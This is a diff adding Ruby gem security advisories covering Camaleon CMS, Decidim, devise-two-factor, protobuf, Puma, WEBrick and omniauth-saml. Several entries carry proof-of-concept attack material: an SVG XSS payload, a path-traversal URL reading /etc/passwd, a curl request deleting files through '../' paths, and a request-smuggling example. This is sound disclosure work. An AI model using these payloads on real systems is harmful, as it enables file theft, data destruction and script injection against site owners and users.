+    wrapping vulnerability in <= v1.12.0 and v1.13.0 to v1.16.0 , see
+    https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
+
+    As a result, omniauth-saml created a
+    [new release](https://github.com/omniauth/omniauth-saml/releases)
+    by upgrading ruby-saml to the patched versions v1.17.
+  cvss_v3: 10.0
+  patched_versions:
+  - ">= 2.1.1"
+  related:
+    ghsa:
+    - https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
+    - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
+    - https://github.com/advisories/GHSA-cvp8-5r8g-fhvq
+    url:
+    - https://github.com/omniauth/omniauth-saml/commit/4274e9d57e65f2dcaae4aa3b2accf831494f2ddd
+    - https://github.com/omniauth/omniauth-saml/commit/6c681fd082ab3daf271821897a40ab3417382e29
+---
diff --git a/advisories/_posts/2024-09-16-CVE-2024-32034.md b/advisories/_posts/2024-09-16-CVE-2024-32034.md
new file mode 100644
index 00000000..38c814ec
--- /dev/null
+++ b/advisories/_posts/2024-09-16-CVE-2024-32034.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2024-32034 (decidim-admin): Decidim::Admin vulnerable to cross-site scripting
+  (XSS) in the admin activity log'
+comments: false
+categories:
+- decidim-admin
+advisory:
+  gem: decidim-admin
+  cve: 2024-32034
+  ghsa: rx9f-5ggv-5rh6
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-rx9f-5ggv-5rh6
+  title: Decidim::Admin vulnerable to cross-site scripting (XSS) in the admin activity
+    log
+  date: 2024-09-16
+  description: |
+    ### Impact
+    The admin panel is subject to potential XSS attach in case an admin
+    assigns a valuator to a proposal, or does any other action that
+    generates an admin activity log where one of the resources has an
+    XSS crafted.
+
+    ### Patches
+    N/A
+
+    ### Workarounds
+    Redirect the pages /admin and /admin/logs to other admin pages
+    to prevent this access (i.e. `/admin/organization/edit`)
+
+    ### References
+    OWASP ASVS v4.0.3-5.1.3
+  cvss_v3: 6.8
+  patched_versions:
+  - "~> 0.27.7"
+  - ">= 0.28.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-32034
+    - https://github.com/decidim/decidim/security/advisories/GHSA-rx9f-5ggv-5rh6
+    - https://github.com/decidim/decidim/commit/23fc8d702a4976727f78617f5e42353d67931645
+    - https://github.com/decidim/decidim/commit/9d79f09a2d38c87feb28725670d6cc1f55c22072
+    - https://github.com/decidim/decidim/commit/e494235d559be13dd1f8694345e6f6bba762d1c0
+    - https://github.com/decidim/decidim/commit/ff755e23814aeb56e9089fc08006a5d3faee47b6
+    - https://github.com/advisories/GHSA-rx9f-5ggv-5rh6
+---
diff --git a/advisories/_posts/2024-09-16-CVE-2024-39910.md b/advisories/_posts/2024-09-16-CVE-2024-39910.md
new file mode 100644
index 00000000..2c400955
--- /dev/null
+++ b/advisories/_posts/2024-09-16-CVE-2024-39910.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'CVE-2024-39910 (decidim): Decidim::Admin vulnerable to cross-site scripting
+  (XSS) in the admin panel with QuillJS WYSWYG editor'
+comments: false
+categories:
+- decidim
+advisory:
+  gem: decidim
+  cve: 2024-39910
+  ghsa: vvqw-fqwx-mqmm
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-vvqw-fqwx-mqmm
+  title: Decidim::Admin vulnerable to cross-site scripting (XSS) in the admin panel
+    with QuillJS WYSWYG editor
+  date: 2024-09-16
+  description: |
+    ### Impact
+    The WYSWYG editor QuillJS is subject to potential XSS attach in
+    case the attacker manages to modify the HTML before being
+    uploaded to the server.
+
+    The attacker is able to change e.g. to <svg onload=alert('XSS')>
+    if they know how to craft these requests themselves.
+
+    ### Patches
+    N/A
+
+    ### Workarounds
+    Review the user accounts that have access to the admin panel (i.e.
+    general Administrators, and participatory space's Administrators)
+    and remove access to them if they don't need it.
+
+    Disable the "Enable rich text editor for participants" setting in
+    the admin dashboard.
+
+    ### References
+    OWASP ASVS v4.0.3-5.1.3
+  cvss_v3: 5.4
+  patched_versions:
+  - ">= 0.27.7"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-39910
+    - https://github.com/decidim/decidim/security/advisories/GHSA-vvqw-fqwx-mqmm
+    - https://github.com/decidim/decidim/commit/47adca81cabea898005ec07b130b008f2a2be99f
+    - https://github.com/advisories/GHSA-vvqw-fqwx-mqmm
+---
diff --git a/advisories/_posts/2024-09-17-CVE-2024-8796.md b/advisories/_posts/2024-09-17-CVE-2024-8796.md
new file mode 100644
index 00000000..0848185c
--- /dev/null
+++ b/advisories/_posts/2024-09-17-CVE-2024-8796.md
@@ -0,0 +1,70 @@
+---
+layout: advisory
+title: 'CVE-2024-8796 (devise-two-factor): Devise-Two-Factor Authentication Uses Insufficient
+  Default OTP Shared Secret Length'
+comments: false
+categories:
+- devise-two-factor
+advisory:
+  gem: devise-two-factor
+  cve: 2024-8796
+  ghsa: qjxf-mc72-wjr2
+  url: https://github.com/devise-two-factor/devise-two-factor/security/advisories/GHSA-qjxf-mc72-wjr2
+  title: Devise-Two-Factor Authentication Uses Insufficient Default OTP Shared Secret
+    Length
+  date: 2024-09-17
+  description: |
+    ### Summary
+    Under the default configuration, Devise-Two-Factor version
+    >= 2.2.0 & < 6.0.0 generate TOTP shared secrets that are 120 bits
+    instead of the 128-bit minimum defined by
+    [RFC 4226](https://datatracker.ietf.org/doc/html/rfc4226).
+    Using a shared secret shorter than the minimum to generate a
+    multi-factor authentication code could make it easier for an
+    attacker to guess the shared secret and generate valid TOTP codes.
+
+    ### Remediation
+    Devise-Two-Factor should be upgraded to version v6.0.0 as soon
+    as possible. After upgrading, the length of shared secrets and
+    TOTP URLs generated by the library will increase since the new
+    shared secrets will be longer.
+
+    If upgrading is not possible, you can override the default
+    `otp_secret_length` attribute in the model when configuring
+    `two_factor_authenticable` and set it to a value of at least
+    26 to ensure newly generated shared secrets are at least
+    128-bits long.
+
+    After upgrading or implementing the workaround, applications
+    using Devise-Two-Factor may wish to migrate users to the new
+    OTP length to provide increased protection for those accounts.
+    Turning off OTP for users by setting `otp_required_for_login`
+    to false is not recommended since it would leave accounts
+    unprotected. However, you may wish to implement application
+    logic that checks the length of a user's shared secret and
+    prompts users to re-enroll in OTP.
+
+    ### Background
+    Devise-Two-Factor uses [ROTP](https://github.com/mdp/rotp) to
+    generate shared secrets for TOTP. In ROTP < 5.0.0, the first
+    argument to the "ROTP::Base32#random_base32" function represented
+    the number of bytes to read from SecureRandom which were then
+    returned as a base32-encoded string. In ROTP 5.1.0, this function
+    was changed so that the first argument now represents the length
+    of the base32-encoded string returned by the function instead
+    of the number of bytes to read from SecureRandom resulting in
+    a shorter key being generated for the same input value.
+    (https://github.com/mdp/rotp/commit/c6c24ab894e7c2b1579d45ac82c41454d1e98227).
+  cvss_v3: 5.3
+  cvss_v4: 6.0
+  unaffected_versions:
+  - "< 2.2.0"
+  patched_versions:
+  - ">= 6.0.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-8796
+    - https://github.com/devise-two-factor/devise-two-factor/security/advisories/GHSA-qjxf-mc72-wjr2
+    - https://github.com/devise-two-factor/devise-two-factor/commit/cc6f34423d9c6af9f3e02be478c3c40dc7462e19
+    - https://github.com/advisories/GHSA-qjxf-mc72-wjr2
+---
diff --git a/advisories/_posts/2024-09-18-CVE-2024-46986.md b/advisories/_posts/2024-09-18-CVE-2024-46986.md
new file mode 100644
index 00000000..3855f6cc
--- /dev/null
+++ b/advisories/_posts/2024-09-18-CVE-2024-46986.md
@@ -0,0 +1,111 @@
+---
+layout: advisory
+title: 'CVE-2024-46986 (camaleon_cms): Camaleon CMS affected by arbitrary file write
+  to RCE (GHSL-2024-182)'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  cve: 2024-46986
+  ghsa: wmjg-vqhv-q5p5
+  url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-wmjg-vqhv-q5p5
+  title: Camaleon CMS affected by arbitrary file write to RCE (GHSL-2024-182)
+  date: 2024-09-18
+  description: |
+    An arbitrary file write vulnerability accessible via the upload method
+    of the `MediaController` allows authenticated users to write arbitrary
+    files to any location on the web server Camaleon CMS is running on
+    (depending on the permissions of the underlying filesystem).
+    E.g. This can lead to a delayed remote code execution in case an
+    attacker is able to write a Ruby file into the `config/initializers/`
+    subfolder of the Ruby on Rails application.
+
+    Once a user upload is started via the [upload] method, the
+    `file_upload` and the folder parameter.
+
+    [upload]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87
+
+    ```ruby
+    def upload(settings = {})
+      params[:dimension] = nil if params[:skip_auto_crop].present?
+      f = { error: 'File not found.' }
+      if params[:file_upload].present?
+        f = upload_file(params[:file_upload],
+                        { folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
+                          thumb_size: params[:thumb_size] }.merge(settings))
+      end
+      [..]
+    end
+    ```
+
+    are passed to the [upload_file] method. Inside that method the
+    given settings are [merged] with some presets. The file format
+    is [checked against] the formats settings we can override with
+    the formats parameters.
+
+    [upload_file]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24
+    [merged]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42
+    [checked against]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62
+
+    ```ruby
+    # formats validations
+      return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
+        uploaded_io.path, settings[:formats]
+     )
+    ```
+
+    Our given folder is then [passed unchecked] to the `Cama_uploader`:
+
+    [passed unchecked]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74
+
+    ```ruby
+    key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
+    res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })
+    ```
+
+    In the [add_file] method of `CamaleonCmsLocalUploader` this key argument containing the
+    unchecked path is then used to write the file to the file system:
+
+    [add_file]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77
+
+    ```ruby
+    def add_file(uploaded_io_or_file_path, key, args = {})
+      [..]
+      upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
+      File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
+      [..]
+    end
+    ```
+
+    ## Impact
+
+    This issue may lead up to Remote Code Execution (RCE) via arbitrary
+    file write.
+
+    ## Remediation
+
+    Normalize file paths constructed from untrusted user input before using
+    them and check that the resulting path is inside the targeted directory.
+    Additionally, do not allow character sequences such as `..` in untrusted
+    input that is used to build paths.
+
+    ## See Also
+
+    [CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)
+    [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
+  cvss_v3: 9.9
+  unaffected_versions:
+  - "< 2.8.0"
+  patched_versions:
+  - ">= 2.8.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-46986
+    - https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-wmjg-vqhv-q5p5
+    - https://github.com/owen2345/camaleon-cms/commit/b3b12b1e4a9e3fccaf5bb4330820fa7f8744e6bd
+    - https://codeql.github.com/codeql-query-help/ruby/rb-path-injection
+    - https://owasp.org/www-community/attacks/Path_Traversal
+    - https://www.reddit.com/r/rails/comments/1exwtdm/camaleon_cms_281_has_been_released
+    - https://github.com/advisories/GHSA-wmjg-vqhv-q5p5
+---
diff --git a/advisories/_posts/2024-09-18-CVE-2024-46987.md b/advisories/_posts/2024-09-18-CVE-2024-46987.md
new file mode 100644
index 00000000..f5d8444f
--- /dev/null
+++ b/advisories/_posts/2024-09-18-CVE-2024-46987.md
@@ -0,0 +1,86 @@
+---
+layout: advisory
+title: 'CVE-2024-46987 (camaleon_cms): Camaleon CMS vulnerable to arbitrary path traversal
+  (GHSL-2024-183)'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  cve: 2024-46987
+  ghsa: cp65-5m9r-vc2c
+  url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-cp65-5m9r-vc2c
+  title: Camaleon CMS vulnerable to arbitrary path traversal (GHSL-2024-183)
+  date: 2024-09-18
+  description: |
+    A path traversal vulnerability accessible via MediaController's
+    download_private_file method allows authenticated users to download
+    any file on the web server Camaleon CMS is running on (depending
+    on the file permissions).
+
+    In the [download_private_file] method:
+
+    ```ruby
+    def download_private_file
+      cama_uploader.enable_private_mode!
+
+      file = cama_uploader.fetch_file("private/#{params[:file]}")
+
+      send_file file, disposition: 'inline'
+    end
+    ```
+
+    [download_private_file]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L28
+
+    The file parameter is passed to the [fetch_file] method of the
+    CamaleonCmsLocalUploader class (when files are uploaded locally):
+
+    ```ruby
+    def fetch_file(file_name)
+      raise ActionController::RoutingError, 'File not found' unless file_exists?(file_name)
+
+      file_name
+    end
+    ```
+
+    [fetch_file]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L27
+
+    If the file exists it's passed back to the download_private_file method
+    where the file is sent to the user via [send_file].
+
+    [send_file]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L33-L34
+
+    ## Proof of concept
+
+    An authenticated user can download the /etc/passwd file by visiting an URL such as:
+
+        https://<camaleon-host>/admin/media/download_private_file?file=../../../../../../etc/passwd
+
+    ## Impact
+
+    This issue may lead to Information Disclosure.
+
+    ## Remediation
+
+    Normalize file paths constructed from untrusted user input before using
+    them and check that the resulting path is inside the targeted directory.
+    Additionally, do not allow character sequences such as `..` in untrusted
+    input that is used to build paths.
+
+    ## See Also
+
+    * [CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)
+    * [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
+  cvss_v3: 7.7
+  patched_versions:
+  - ">= 2.8.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-46987
+    - https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-cp65-5m9r-vc2c
+    - https://github.com/owen2345/camaleon-cms/commit/071b1b09d6d61ab02a5960b1ccafd9d9c2155a3e
+    - https://codeql.github.com/codeql-query-help/ruby/rb-path-injection
+    - https://owasp.org/www-community/attacks/Path_Traversal
+    - https://www.reddit.com/r/rails/comments/1exwtdm/camaleon_cms_281_has_been_released
+    - https://github.com/advisories/GHSA-cp65-5m9r-vc2c
+---
diff --git a/advisories/_posts/2024-09-18-GHSA-7x4w-cj9r-h4v9.md b/advisories/_posts/2024-09-18-GHSA-7x4w-cj9r-h4v9.md
new file mode 100644
index 00000000..b0e7f3e7
--- /dev/null
+++ b/advisories/_posts/2024-09-18-GHSA-7x4w-cj9r-h4v9.md
@@ -0,0 +1,89 @@
+---
+layout: advisory
+title: 'GHSA-7x4w-cj9r-h4v9 (camaleon_cms): Camaleon CMS vulnerable to remote code
+  execution through code injection (GHSL-2024-185)'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  ghsa: 7x4w-cj9r-h4v9
+  url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9
+  title: Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185)
+  date: 2024-09-18
+  description: |
+    The [actions](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L51-L52)
+    defined inside of the MediaController class do not check whether a
+    given path is inside a certain path (e.g. inside the media folder).
+    If an attacker performed an account takeover of an administrator
+    account (See: GHSL-2024-184) they could delete arbitrary files or
+    folders on the server hosting Camaleon CMS. The
+    [crop_url](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L64-L65)
+    action might make arbitrary file writes (similar impact to GHSL-2024-182)
+    for any authenticated user possible, but it doesn't seem to work currently.
+
+    Arbitrary file deletion can be exploited with following code path:
+    The parameter folder flows from the actions method:
+    ```ruby
+      def actions
+        authorize! :manage, :media if params[:media_action] != 'crop_url'
+        params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?
+        case params[:media_action]
+        [..]
+        when 'del_file'
+          cama_uploader.delete_file(params[:folder].gsub('//', '/'))
+          render plain: ''
+    ```
+    into the method delete_file of the CamaleonCmsLocalUploader
+    class (when files are uploaded locally):
+    ```ruby
+    def delete_file(key)
+      file = File.join(@root_folder, key)
+      FileUtils.rm(file) if File.exist? file
+      @instance.hooks_run('after_delete', key)
+      get_media_collection.find_by_key(key).take.destroy
+    end
+    ```
+    Where it is joined in an unchecked manner with the root folder and
+    then deleted.
+
+    **Proof of concept**
+    The following request would delete the file README.md in the top
+    folder of the Ruby on Rails application. (The values for auth_token,
+    X-CSRF-Token and _cms_session would also need to be replaced with
+    authenticated values in the curl command below)
+    ```
+    curl --path-as-is -i -s -k -X $'POST' \
+        -H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
+        -b $'auth_token=[..]; _cms_session=[..]' \
+        --data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..
+    2F..
+    2F..
+    2FREADME.md&media_action=del_file' \
+        $'https://<camaleon-host>/admin/media/actions?actions=true'
+    ```
+
+    **Impact**
+
+    This issue may lead to a defective CMS or system.
+
+    **Remediation**
+
+    Normalize all file paths constructed from untrusted user input
+    before using them and check that the resulting path is inside the
+    targeted directory. Additionally, do not allow character sequences
+    such as .. in untrusted input that is used to build paths.
+
+    **See also:**
+
+    [CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)
+    [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
+  cvss_v3: 7.2
+  patched_versions:
+  - ">= 2.8.1"
+  related:
+    url:
+    - https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9
+    - https://github.com/owen2345/camaleon-cms/commit/f5d032549fa0a204d06e738caf2663607967dee2
+    - https://github.com/advisories/GHSA-7x4w-cj9r-h4v9
+---
diff --git a/advisories/_posts/2024-09-18-GHSA-r9cr-qmfw-pmrc.md b/advisories/_posts/2024-09-18-GHSA-r9cr-qmfw-pmrc.md
new file mode 100644
index 00000000..238a78ea
--- /dev/null
+++ b/advisories/_posts/2024-09-18-GHSA-r9cr-qmfw-pmrc.md
@@ -0,0 +1,60 @@
+---
+layout: advisory
+title: 'GHSA-r9cr-qmfw-pmrc (camaleon_cms): Camaleon CMS vulnerable to stored XSS
+  through user file upload (GHSL-2024-184)'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  ghsa: r9cr-qmfw-pmrc
+  url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-r9cr-qmfw-pmrc
+  title: Camaleon CMS vulnerable to stored XSS through user file upload (GHSL-2024-184)
+  date: 2024-09-18
+  description: |
+    A stored cross-site scripting has been found in the image upload
+    functionality that can be used by normal registered users:
+    It is possible to upload a SVG image containing JavaScript and
+    it's also possible to upload a HTML document when the format
+    parameter is manually changed to [documents][1] or a string of an
+    [unsupported format][2]. If an authenticated user or administrator
+    visits that uploaded image or document malicious JavaScript can be
+    executed on their behalf
+    (e.g. changing or deleting content inside of the CMS.)
+
+    [1]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_uploader.rb#L105-L106
+    [2]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_uploader.rb#L110-L111
+
+    ## Impact
+
+    This issue may lead to account takeover due to reflected
+    Cross-site scripting (XSS).
+
+    ## Remediation
+
+    Only allow the upload of safe files such as PNG, TXT and others
+    or serve all "unsafe" files such as SVG and other files with a
+    content-disposition: attachment header, which should prevent
+    browsers from displaying them.
+
+    Additionally, a [Content security policy (CSP)][3]
+    can be created that disallows inlined script. (Other parts of the
+    application might need modification to continue functioning.)
+
+    [3]: https://web.dev/articles/csp
+
+    To prevent the theft of the auth_token it could be marked with
+    HttpOnly. This would however not prevent that actions could be
+    performed as the authenticated user/administrator. Furthermore,
+    it could make sense to use the authentication provided by
+    Ruby on Rails, so that stolen tokens cannot be used anymore
+    after some time.
+  cvss_v3: 5.4
+  patched_versions:
+  - ">= 2.8.1"
+  related:
+    url:
+    - https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-r9cr-qmfw-pmrc
+    - https://github.com/owen2345/camaleon-cms/commit/b18fbc74f3ecd98a1f781d015f5466ef16b1425b
+    - https://github.com/advisories/GHSA-r9cr-qmfw-pmrc
+---
diff --git a/advisories/_posts/2024-09-19-CVE-2024-7254.md b/advisories/_posts/2024-09-19-CVE-2024-7254.md
new file mode 100644
index 00000000..ed5658f7
--- /dev/null
+++ b/advisories/_posts/2024-09-19-CVE-2024-7254.md
@@ -0,0 +1,72 @@
+---
+layout: advisory
+title: 'CVE-2024-7254 (google-protobuf): protobuf-java has potential Denial of Service
+  issue'
+comments: false
+categories:
+- google-protobuf
+advisory:
+  gem: google-protobuf
+  cve: 2024-7254
+  ghsa: 735f-pc8j-v9w8
+  url: https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-735f-pc8j-v9w8
+  title: protobuf-java has potential Denial of Service issue
+  date: 2024-09-19
+  description: |+
+    ### Summary
+    When parsing unknown fields in the Protobuf Java Lite and Full library,
+    a maliciously crafted message can cause a StackOverflow error and lead
+    to a program crash.
+
+    Reporter: Alexis Challande, Trail of Bits Ecosystem Security
+    Team <ecosystem@trailofbits.com>
+
+    Affected versions: This issue affects all versions of both the Java
+    full and lite Protobuf runtimes, as well as Protobuf for Kotlin and
+    JRuby, which themselves use the Java Protobuf runtime.
+
+    ### Severity
+    [CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254)
+    **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication)
+
+    This is a potential Denial of Service. Parsing nested groups as unknown
+    fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser,
+    or against Protobuf map fields, creates unbounded recursions that can
+    be abused by an attacker.
+
+    ### Proof of Concept
+    For reproduction details, please refer to the unit tests (Protobuf Java
+    [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java)
+    and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java))
+    that identify the specific inputs that exercise this parsing weakness.
+
+    ### Remediation and Mitigation
+    We have been working diligently to address this issue and have released
+    a mitigation that is available now. Please update to the latest
+    available versions of the following packages:
+
+    * protobuf-java (3.25.5, 4.27.5, 4.28.2)
+    * protobuf-javalite (3.25.5, 4.27.5, 4.28.2)
+    * protobuf-kotlin (3.25.5, 4.27.5, 4.28.2)
+    * protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2)
+    * com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2)
+
+  cvss_v3: 7.5
+  cvss_v4: 8.7
+  patched_versions:
+  - "~> 3.25.5"
+  - "~> 4.27.5"
+  - ">= 4.28.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-7254
+    - https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-735f-pc8j-v9w8
+    - https://github.com/protocolbuffers/protobuf/commit/4728531c162f2f9e8c2ca1add713cfee2db6be3b
+    - https://github.com/protocolbuffers/protobuf/commit/850fcce9176e2c9070614dab53537760498c926b
+    - https://github.com/protocolbuffers/protobuf/commit/9a5f5fe752a20cbac2e722b06949ac985abdd534
+    - https://github.com/protocolbuffers/protobuf/commit/ac9fb5b4c71b0dd80985b27684e265d1f03abf46
+    - https://github.com/protocolbuffers/protobuf/commit/cc8b3483a5584b3301e3d43d17eb59704857ffaa
+    - https://github.com/protocolbuffers/protobuf/commit/d6c82fc55a76481c676f541a255571e8950bb8c3
+    - https://github.com/advisories/GHSA-735f-pc8j-v9w8
+...
+---
diff --git a/advisories/_posts/2024-09-20-CVE-2024-45614.md b/advisories/_posts/2024-09-20-CVE-2024-45614.md
new file mode 100644
index 00000000..29d5b00b
--- /dev/null
+++ b/advisories/_posts/2024-09-20-CVE-2024-45614.md
@@ -0,0 +1,51 @@
+---
+layout: advisory
+title: 'CVE-2024-45614 (puma): Puma''s header normalization allows for client to clobber
+  proxy set headers'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  cve: 2024-45614
+  ghsa: 9hf4-67fc-4vf4
+  url: https://github.com/puma/puma/security/advisories/GHSA-9hf4-67fc-4vf4
+  title: Puma's header normalization allows for client to clobber proxy set headers
+  date: 2024-09-20
+  description: |
+    ### Impact
+
+    Clients could clobber values set by intermediate proxies (such as
+    X-Forwarded-For) by providing a underscore version of the same
+    header (X-Forwarded_For).
+
+    Any users trusting headers set by their proxy may be affected.
+    Attackers may be able to downgrade connections to HTTP (non-SSL)
+    or redirect responses, which could cause confidentiality leaks
+    if combined with a separate MITM attack.
+
+    ### Patches
+    v6.4.3/v5.6.9 now discards any headers using underscores if the
+    non-underscore version also exists.  Effectively, allowing the
+    proxy defined headers to always win.
+
+    ### Workarounds
+    Nginx has a [underscores_in_headers](https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers)
+    configuration variable to discard these headers at the proxy level.
+
+    Any users that are implicitly trusting the proxy defined headers
+    for security or availability should immediately cease doing so
+    until upgraded to the fixed versions.
+  cvss_v3: 5.4
+  patched_versions:
+  - "~> 5.6.9"
+  - ">= 6.4.3"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-45614
+    - https://github.com/puma/puma/security/advisories/GHSA-9hf4-67fc-4vf4
+    - https://github.com/puma/puma/commit/cac3fd18cf29ed43719ff5d52d9cfec215f0a043
+    - https://github.com/puma/puma/commit/f196b23be24712fb8fb16051cc124798cc84f70e
+    - https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers
+    - https://github.com/advisories/GHSA-9hf4-67fc-4vf4
+---
diff --git a/advisories/_posts/2024-09-22-CVE-2024-47220.md b/advisories/_posts/2024-09-22-CVE-2024-47220.md
new file mode 100644
index 00000000..c76111b6
--- /dev/null
+++ b/advisories/_posts/2024-09-22-CVE-2024-47220.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2024-47220 (webrick): HTTP Request Smuggling in ruby webrick'
+comments: false
+categories:
+- webrick
+advisory:
+  gem: webrick
+  cve: 2024-47220
+  ghsa: 6f62-3596-g6w7
+  url: https://github.com/advisories/GHSA-6f62-3596-g6w7
+  title: HTTP Request Smuggling in ruby webrick
+  date: 2024-09-22
+  description: |
+    An issue was discovered in the WEBrick toolkit through 1.8.1 for Ruby.
+    It allows HTTP request smuggling by providing both a Content-Length
+    header and a Transfer-Encoding header, e.g.,
+    "GET /admin HTTP/1.1\r\n" inside of a "POST /user HTTP/1.1\r\n"
+    request.
+
+    NOTE: the supplier''s position is "Webrick should not be used in production."
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.8.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-47220
+    - https://github.com/ruby/webrick/issues/145
+    - https://github.com/ruby/webrick/pull/146/commits/d88321da45dcd230ac2b4585cad4833d6d5e8841
+    - https://github.com/ruby/webrick/commit/f5faca9222541591e1a7c3c97552ebb0c92733c7
+    - https://github.com/advisories/GHSA-6f62-3596-g6w7
+---
diff --git a/advisories/_posts/2024-09-23-GHSA-3hp8-6j24-m5gm.md b/advisories/_posts/2024-09-23-GHSA-3hp8-6j24-m5gm.md
new file mode 100644
index 00000000..6996ee73
--- /dev/null
+++ b/advisories/_posts/2024-09-23-GHSA-3hp8-6j24-m5gm.md
@@ -0,0 +1,75 @@
+---
+layout: advisory
+title: 'GHSA-3hp8-6j24-m5gm (camaleon_cms): Camaleon CMS vulnerable to remote code
+  execution through code injection (GHSL-2024-185)'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  ghsa: 3hp8-6j24-m5gm
+  url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9
+  title: Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185)
+  date: 2024-09-23
+  description: |
